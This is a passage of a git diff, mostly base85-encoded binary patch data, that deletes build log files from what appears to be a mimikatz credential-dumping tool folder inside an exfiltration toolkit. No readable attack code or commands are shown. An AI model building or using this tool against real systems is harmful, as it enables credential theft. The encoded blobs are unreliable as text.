z&jTL`qqt)u9q(%Z@iuX6q{DxkA>JB}jda|vX2e@YZ}f0%q^y0LCEm*%8;NHtj``i3 zc-uHOQg$svuOWxev5}6s3Xf*|tLIfTtrep^acrcleAz4>p&c8EILLf&d4g~MdqIwk zbm;MRY@|bvxK>WRV`#z=iYhxfAwtoIs?&hn&McQVTA1>0y|DqyeGx6(0q8I<1~@g;y6va PFiE5H&vBZL$!Yo@F_SdR diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.read.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.read.1.tlog deleted file mode 100644 index 8e0945c09a49017c4763a96e4783933267a7c4c0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 44242 zcmeHQU2hvV5ae@#{)axc4-xDdNsGM6l58uHPJ&Ld9Ycu!NPc_UnWL_EB==-1vMdg8 zFkWi zo8z&-`-ix{#dYEC@rkdv`vI@<^(n4~c*hf7kMDeNmu}!Lj90e!U-@lU?oYhR?^^*6 ze=mS!fZx~di~Er|=5N6IT#e61LCl{dFwdYT_t1X(FHg@ht!&w?ygj2l3q)Lg zcdxBuCG6N7US?BSH+5Mi$jNOmJ2QCyp}5y9pO{Uq zbfT4eV{VqaE3J`Mj%#(JSgy(uw0s1QrKB&lcb!&y2QB295f9^=N3qPfYUHvO%eeZu zYK)!ygCuh9K!!M*9Ye=U?0b1OtHLxWv9G-Z_6rI7t;6Bq8eBpbG|q}2pu1CGrT#Xj zm%qAS;2+8P@)61{;&0}te#4oL&mfj~{yXgY-|mz9W5?1WLxCKu1>UvB>m|PXD}L9E zt$Lkrp?QBn>n`w}Tf`639iNQ(BF_)-_s)TWd)50L4l>LJJACKBvccFf3vg~6KGx$N z?A%Bi4$QfckXJE-*E+w(K47iYE5{y{9C@4Z3B>@~MH|$tvpi9!oThpYp@+QIUC)@+ z!{6p(X`qi!;Z;zFoGcC0*15U{a*LOxf}EqCW}7w8+xcc4>|w@P1$UTpRzcmBb=JY3 zvL`gKTbXAaJ?>qR5MQ2 z3bHF$bZ193r)(lvg9pISC6l}QQO_8^2R(zbRV-q^F|!HkM2A?7Sw7_GV z1$GSol-2GfzL|K)MqT4M^HvL7T~@qj_7}Vd({&5fM7G6qaz5GdW7guL9fRU97VHKX z$)9*z-svGDQS)*A;|Pr0c{MZsy3yEU#^e}0d7xQ9KgQ4)vZ9$2dE5CqOlQ1*Wao|9 z2^hME%vHULxVo_O$QjSNBnCvI<{wJb!NiIc3zF^ z7N33k|I>{uIrm3x+vNJJD(7y8U9n#7n61+_9n8(yTF#j1f%<-~j8jh0NjcurD_DyZ zbKlSPbo!CjK7rX(RtMpFihBcm%xn<1kq#r{)dRhd-1$6<^g&Dlx$KALiLvwd{s zNx43nve--?RatCCjIJ~(A4XLcn+>BXP0EGQl;kx`7*)yAnlw#GY!-})ELMfR0(QH; zUIlqrU9W*UtgY9;+*Mhxf?hL>k6~JdBmN1S_)U2fQVB^e_~CKi9O= zu8;Nley;8A!%F>J-){|bRLCms;uYuFqcuFo>O0G_{$X3yH=Kqy_!2LyVOZy>FDd>u zGfV@0%negP-FKFqfNjQ;ocCCxeP>z!*MsRH-gDgT%(uoGCH64)t%5tueygDF%75$N zPcz^e*sUD64)Qb$u7W*1`PV=mXTnubr>FQT$eV1q24XuOu7rJmMm%pxtlHPS5zi58 zvHGMwImsPuoM}<`OEO_s*^eS)9indPb#vDcpIb@mV%l|hD%##9i&f*JIxk_BkE#?_ zosY6C?Mfe2IjpKmRat1y*l(rph1;AEv75?yvTLb#>8_4Z)i{6VH>z|_Z5Nczk6j_7 zIya1hz2>va8GAx8GoT*TFdNqQ!d=0}*Jt24SvbEhFVInI2>vVk#VPE)x-0%IHms^W zcufV6u57B=!_*7eRX};qOjm!jyiwboyYj}|_rg6TBOztg=B*7c@oK|Nf8Psti;DBL diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.write.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.write.1.tlog deleted file mode 100644 index 4395a0c310deecc8a78386a3ff613a072d90ed30..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 19942 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 